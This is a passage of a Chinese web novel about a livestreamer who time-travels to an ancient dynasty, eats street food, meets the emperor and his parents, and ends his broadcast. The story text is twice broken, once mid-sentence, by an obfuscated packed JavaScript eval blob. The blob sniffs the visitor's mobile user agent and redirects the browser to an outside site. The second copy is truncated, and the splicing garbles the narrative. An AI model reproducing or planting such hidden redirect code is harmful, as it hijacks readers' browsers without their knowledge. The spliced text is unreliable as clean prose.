妈妈咪呀,这是什么神仙炸鸡,虽然调味料没有他以前吃的丰富,但是这香嫩可口一口爆汁的鸡肉完全可以弥补那点小小的缺憾了。 “好吃。”李明竖起大拇指,“这比我之前吃的好吃多了。” 网友们都着急坏了。 【差评,为什么直播还没有研究出共感模式?我也想尝尝古代的炸鸡啊。】 【真的有那么好吃吗?为什么感觉主播要好吃哭了?】 【这么说吧,人家那里的鸡是纯天然的,咱们现在吃的鸡肉都是速熟的,说不定还吃了什么乱七八糟的激素,味道怎么可能比得上那里的鸡?】 【斯哈斯哈,我也想尝尝纯天然的鸡肉多好吃,狗逼公司赶紧研发共感功能啊,技术人员你们还能睡得着吗?】 技术人员看着弹幕一溜催他们的留言,个个都欲哭无泪,是他们不想吗?他们也馋啊。 视线再转到直播画面上,小胖子的小厮对李明这个突如其来讨吃的这个陌生人倒没有驱赶,只是讨口吃的而已,不值当把人赶走。 抹了一把嘴的李明有些不放心了,反过来开始忧心这对心大的主仆,“这位小哥儿,碰见陌生人了可不要这么好心,万一是人贩子呢,他们的手段可多了,你家小少爷这胖嘟嘟的福气样子最符合那些人想要的孩子模样,还是警醒些为好。” 小厮笑了起来,“多谢公子提醒,不过您应该是刚来京城吧?” “对。”李明有些摸不着头脑,“不过你怎么知道的?” 小厮:“每次有大型活动的时候,京城里里外外都会戒严,而且除了宫里的侍卫之外,楚家军也会分散在周围维持秩序,如果今天真的有人贩子,那该担心的是他们自己才对。” 哦,是楚家军啊,那李明就理解了,摄政王楚萧手底下的兵确实个顶个的能打,有他们在就是会有一种油然而生的安全感。 和他们聊了两句,李明觉得他们已经熟悉起来了,就屁颠屁颠的跟在小胖子身后,和他一起游览起了千年前的京城,在吃到喜欢的食物之后,也会顺手把牌子投给店家。 小胖子熟练的举着手分享美食,看他递牌子还有些羡慕:“我的牌子已经送完了。” 小胖子是个没见识的,一路走来被这些眼花缭乱的食物迷了眼,从来没接触过小吃摊的他觉得哪样都好吃,没走几步路就把牌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591221|130828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子都送出去了,现在尝到更好吃的美食也只能感叹一番,不能再给牌子表示自己的欣赏了。 李明把自己还剩下的几个牌子递给他,“那这几个都给你用了,你看喜欢哪个就投哪个。” 小胖子先是惊喜,然后又是犹豫:“你自己不投了吗?” 李明正吃的满嘴流油,这个煎豆腐也不知道是怎么做的,这也太香了吧,闻言毫不在意的挥了挥手,“我觉得都好吃,实在选不出来什么,这样难办的任务就交给你了。” 小胖子像是被赋予了什么重大的使命,紧紧捏住手里的牌子,“放心吧,这次我肯定会在尝完所有的摊位之后再选出最好吃的摊位的。” 这样一眼望不到头的小吃街,吃完所有的摊位就太夸张了吧,但是李明只是一个蹭吃蹭喝的,他并不能发表什么意见,只要跟着自己的小金主走就可以了。 在他们看不到的角落里,一身青衣的少年嫌弃的指了指他们这个方向,不可置信的开口:“这小胖子就是朕拐了十八个弯沾亲带故的小堂弟?他怎么看着不咋聪明啊?” “主子,没认错人,就是他。”旁边的小福子肯定了小胖子的身份,让青年,也就是杨瞻露出了生无可恋的表情。 他们来的时机刚刚好,全程看完了李明是如何哄骗小孩子的吃食,并且被毫无防备心的主仆二人邀请着一起品尝美食,跟在他们身后蹭吃蹭喝的。 杨瞻自己可以嫌弃小堂弟,但也看不到旁人欺负他,“走,跟上去看看。” 如果只是骗两口吃的倒还好,就怕这人是提前得到消息专门来偶遇小胖子的。 事实证明杨瞻想多了,李明就是跟着吃吃喝喝,甚至最后他吃饱了之后就纯粹是一个气氛组,对小胖子的饭量报以惊叹。 【不是,这小孩儿是大胃王吗?他到底吃了多少了?他的胃是连着黑洞吗?】 【现在已经把摊位吃了一大半了,吃下去的食物相当于五个成年男人的饭量,这也太能吃了吧。】 【怪不得肉嘟嘟的呢,他吃的东西没有一口是白吃的,普通人家可养不起啊。】 一开始李明还忙着惊叹他的饭量,但是慢慢的他就笑不出来了,“真的不撑得慌吗?实在不行今天就到这里吧。” 他真的有些慌了,这小肚皮不会被撑炸了吧。 小厮一脸淡然:“您不必担心,这是我家少爷的正常饭量,现在估摸着有七分饱了吧。” 这还是李明第一次在现实生活中见到大胃王,抱着瞻仰的心态看他把整条街吃完打了个饱嗝,李明立刻上道的抢过小厮手里的帕子给他擦了擦嘴巴。 等小胖子把手里的三个牌子给出去之后,李明莫名觉得这三家铺子一定是最好吃的,这可是经过小饕餮亲自认证的。 【我也觉得这三家店是最好吃的,小胖子严选,必属精品。】 【我的要求也不高,让我尝尝这三家店到底是怎么俘获我们小胖哥心的,狗公司你就说能不能办到吧?】 【这才是真正的吃播啊,你看人家吃的多开心,这不比现在那些需要催吐的大胃王直播来的真实?】 【果然还是高手在民间啊!】 吃饱喝足了,李明开始打探小胖子的事情了,让人出乎意料的是,他们主仆二人也只是才来了三天,对京城并不熟悉。 主仆二人并没有什么保护隐私的想法,大喇喇的把自己上京地原因说出来了。 “我爹娘去世了,家里的亲戚不愿意养我,就上京来投奔远方亲戚了。” 他这话说的很平静,但是才不大点的孩子就被逼得背井离乡上京投奔,想也知道不是什么愉快的经历,李明怜惜极了。 正想着说点什么安慰一下,就被一道清朗而威严的声音吸引了过去。 “杨睦。” 小胖子回头,犹犹豫豫的喊了一句:“堂哥?” 信步而来的少年年纪不大,但只是随意一眼,就愣生生让李明惊出了一身冷汗,这人绝不是什么简单角色。 而且,杨睦这个名字怎么感觉有些熟悉啊? 他好像在哪里听过这个名字。 112. 第 112 章 他还没有想起来,弹幕上已经炸开锅了。 【杨睦,这小胖子居然是杨睦?】 【怎么了怎么了?他很有名吗?】 【杨睦是晋文帝最亲近的弟弟了,也是皇室里唯一一个受封的王爷,不过他生性喜爱游山玩水遍寻美食,基本上没有怎么在京城常住过。】 【没错,他还出过几本游记和食谱来着,一辈子过得非常潇洒。】 【那可不,这位除了是晋文帝的弟弟之外,他还是晋武帝的亲爹啊啊啊啊啊!】 【朋友们,那现在出现的这个少年?】 【没错,朋友们,喊出你们的口号,给我们文帝大大一点排面。】 因为疑似晋文帝的人物出现,观看直播的人数瞬间爆发式增长,让技术部的工作人员一头冷汗,手指摁键盘差点摁出火星子来,服务器你可争点气啊,如果在这样历史性的会面时刻崩了,那他们可真就成了千古罪人了。 好在服务器足够给力,直播画面还能继续,李明也终于想起了杨睦这个名字。 他把刚刚还在脑补的小胖子被远房亲戚嫌弃吃的多的画面晃出脑海,并且由衷的升起了羡慕嫉妒,他也想有一门这样的远房亲戚啊。 杨睦还在介绍自己的新朋友,杨瞻似笑非笑的看着李明,拉长了声音问道:“所以这位刚刚和你认识不到半天,就跟你无比契合的新朋友叫什么名字啊?” 李明被他的眼神看得心里突突的,为了表明自己没有恶意,他也顾不得自己的羞耻心了,“我叫李明,因为刚刚上京囊中羞涩,又没见过这些小吃,所以才蹭了令弟的食物。” “哦。”杨瞻有些惊讶于他的坦诚,“我姓楚,字怀谦。” 他的回答有些敷衍,但是李明已经激动的快要昏过去了,楚怀谦,果然是他,晋文帝在外一直都是以这个名字示人的,他居然见到活的晋文帝了。 弹幕上的激动一点儿也不比他少。 【妈妈咪呀,果然活得久了什么都能见到,我真是出息了,居然见到了少年版的晋文帝。】 【不得不说主播运气真好啊,跟着小胖哥吃吃喝喝就直接走到晋文帝面前了,谁羡慕了我不说。】 【而且我们文帝大大好温柔啊,弟弟被骗了居然也不生气,他还给主播自我介绍了。】 【没错没错,而且文帝大大居然还愿意敷衍主播,呜呜呜,他真的好温柔,爱了爱了。】 李明丝毫没有听出他的敷衍,正想着找个地方洗洗手,然后琢磨着怎么和对方不着痕迹的握下手呢,就见对方眼前一亮,朝着远处挥手,还喊了一声“爹,娘。” 能让晋文帝喊爹的,不就只有那一位了吗?李明刚刚稳下来的手又开始哆嗦了。 姜令仪和楚萧本来没打算出来看热闹的,是杨瞻隔一会儿就派人来请,来来回回五拨人了,姜令仪终于不堪其扰,打算出来走走,没想到一出来就碰到这个罪魁祸首了。 杨瞻陪着笑哄人:“娘,今天多热闹啊,在家多没意思。” 又把杨睦拉过来展示了一下,“这就是我那个小堂弟,胖嘟嘟的可爱吧?” 果然,看到小孩子之后,姜令仪神情马上柔和了起来,吩咐小福子:“先带小少爷回家,前几日不是刚收拾好了屋子吗?让他先去熟悉熟悉环境。” 小福子直接派了一个侍卫,把杨睦主仆二人带走了。 不应该啊,杨瞻自我反思一下,最近他应该没有惹他娘生气吧,就是今天晚上让人请她出来也不是什么大事儿,怎么忽然哄不好了? 杨瞻把视线投向了楚萧,明晃晃的问他咋回事儿? 楚萧挑眉,他也不知道啊。 姜令仪没有生气,她冷不丁的开口:“空集是任何……” 李明张口接上:“集合的子集,是任何非空集合的真子集。” 姜令仪的眼睛亮了起来,“把人带去实验室。” 不知道从哪里冒出来一个黑衣人,又不知道他点了一下哪里,等李明软软的昏倒之后,就把人扛起来飞走了。 飞走了…… 停滞了片刻的弹幕立刻爆发。 【妈妈呀,真的有轻功,我看到了,他就是飞起来了,咱们老祖宗是会轻功的,谁反驳都不好使。】 【上面说晋文帝和摄政王感情不好的可闭嘴吧,谁家关系不好喊爹娘啊,张嘴就说人关系不好。】 【如果我没记错的话,摄政王应该是寡了一辈子的吧,他怎么娶媳妇了?】 【而且娶的也是个穿越过去的,厉害啊。】 也不知道他夸的是是谁厉害。 大家都处在世界观颠覆的震撼里,完全忘了主播的处境,不过他们也没有太过担心,直播公司会保证主播的人身安全,遇到危险就会触发警报的,现在没有警报就是没危险。 杨瞻有些懵:“娘,这人是哪里不对劲儿吗?” 不可能啊,难道他看走眼了? 姜令仪摇头:“只是看见他就想起来一个故人,你回宫去陪小孩儿熟悉一下环境,我去实验室一趟。” 既然人没有问题,杨瞻就不多问了,现在时间不早了,他也该回宫了,不然明天的早朝要迟到了,他的好奇心也没那么重,如果他想知道,明天直接问结果就可以。 于是最后就姜令仪和楚萧去了实验室,姜令仪问这里的管事:“那人醒了吗?” 管事恭敬的坠在二人身后,微微躬身,“还没醒,不过估摸着也快了,王妃要去见他?” “嗯,带路吧。” 他们来的时间刚刚好,李明刚揉着脖子坐起来,还没反应过来发生了什么,就看到那个漂亮的夫人朝他走过来,晕过去之前的记忆回笼,就是她,笑的那么好看,说出的话却令人害怕,他不会已经被噶了腰子吧? 李明下意识摸了摸自己腰子的位置,有检查了一下身上有没有其他的痕迹,除了脖子有些疼之外,其他的没发现什么异样。 说姜令仪善良,那肯定是的,但要说是一个无底线的好人?那肯定是不可能的。 她固然有着新时代培养起来的三观,但是只凭着善良的话,在这个时代早就被吃的什么也不剩了。 李明面对老乡没有两眼泪汪汪而是直接把他送进实验室的作法甚为不解,姜令仪却还能言笑晏晏的对着受害人问话:“你是怎么来的?” 李明不想回答,但是看了一眼她身边冷着脸的摄政王,他非常硬气的怂了:“这需要保密。” 姜令仪很懂:“那你只需要点头或者摇头回答我的问题,可以吗?” 李明点头。 姜令仪:“你是自愿来的这里,或者说,你的目标就是晋朝?” 点头。 姜令仪:“你能做什么改变历史的事情吗?” 摇头。 姜令仪:“你怎么确定这真的是古代,而不是一个全息游戏呢?我们这些人全部都是游戏里的NPC哦。” 李明和观众一起愣住,是啊,他们该怎么确定这是真实的历史呢? 不给他消化的时间,姜令仪继续问:“如果在这里被杀了,就算你身体上没有什么影响,但是总归经历过一次死亡,心里一定不会那么快接受的吧?” 她一边说,还一边瞄了眼楚萧腰间别的剑。 李明被她说的冷汗都要下来了,是,那狗逼公司说是有安全保护机制的的,但是面对死亡的威胁谁能保持淡定啊? “如果影响到历史,我会被强行弹出去的。”李明害怕自己这个老乡真的丧心病狂到对他严刑拷打,“我来这里只是不限制行动的参观,然后尽可能多的把这个时代的文化记录下来而已。” 姜令仪若有所思的看了他一圈,“所以,你还有录像的设备?” 李明这才想起来,他是在直播的啊,那现在直播间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【这些全部都是失传的技艺,我本来以为那只是书上夸大了,原来是真实存在过的啊呜呜呜……】 【现在已经造出自行车来了?看着和我们现在骑的也没什么两样啊。】 【哇哇哇,是电,那是电吧,电灯亮起来了!】 【我去,主播别动让我看看,这是提出了黎曼假设?】 通过李明的眼睛,网友们看到了在那样落后的年代,人民群众是如何依靠自己的双手开创了一个又一个的奇迹,这简直比科幻大片还要让人热血沸腾。 李明恨不得直接不吃不喝的待在实验室,想要尽量多获取一些数据,谁知道以后还有没有这么好的运气近距离接触这些了,可惜他只有二十四小时的时间,他马上就要离开了。 姜令仪带着楚萧和杨瞻来给他送行,“签名带不走,不和他们握个手吗?” 她是真的很会啊,李明看着自己争气的右手,脸上的笑容就停不下来,他决定了,以后这位姐姐就是他的女神了,这也太懂他了吧。 “再见。”李明说。 “这次的旅行很特殊,我想这是我一生中最难得的经历了,一开始我是抱着窥探名人隐私的想法,我想没人能拒绝知道自己偶像私下的样子的诱惑。 说真的,晋文帝没有让人失望,摄政王果然是我男神,但是最让我震撼的,还是实验室里那些一个又一个的科研成果,很难想象那是仅靠劳动人民的双手做出来的。 所有我想说,为什么他们可以在那么艰苦的条件下都能成功,我们却还在抱怨生活的辛苦呢? 从今天开始,我打算暂时退出直播界专心考研了,有时间我也会和大家分享一下自己的学习视频,等我成功上岸,咱们再约。 我的直播就到这里了,也希望他们能继续坚定的往前走。 再见,大家。”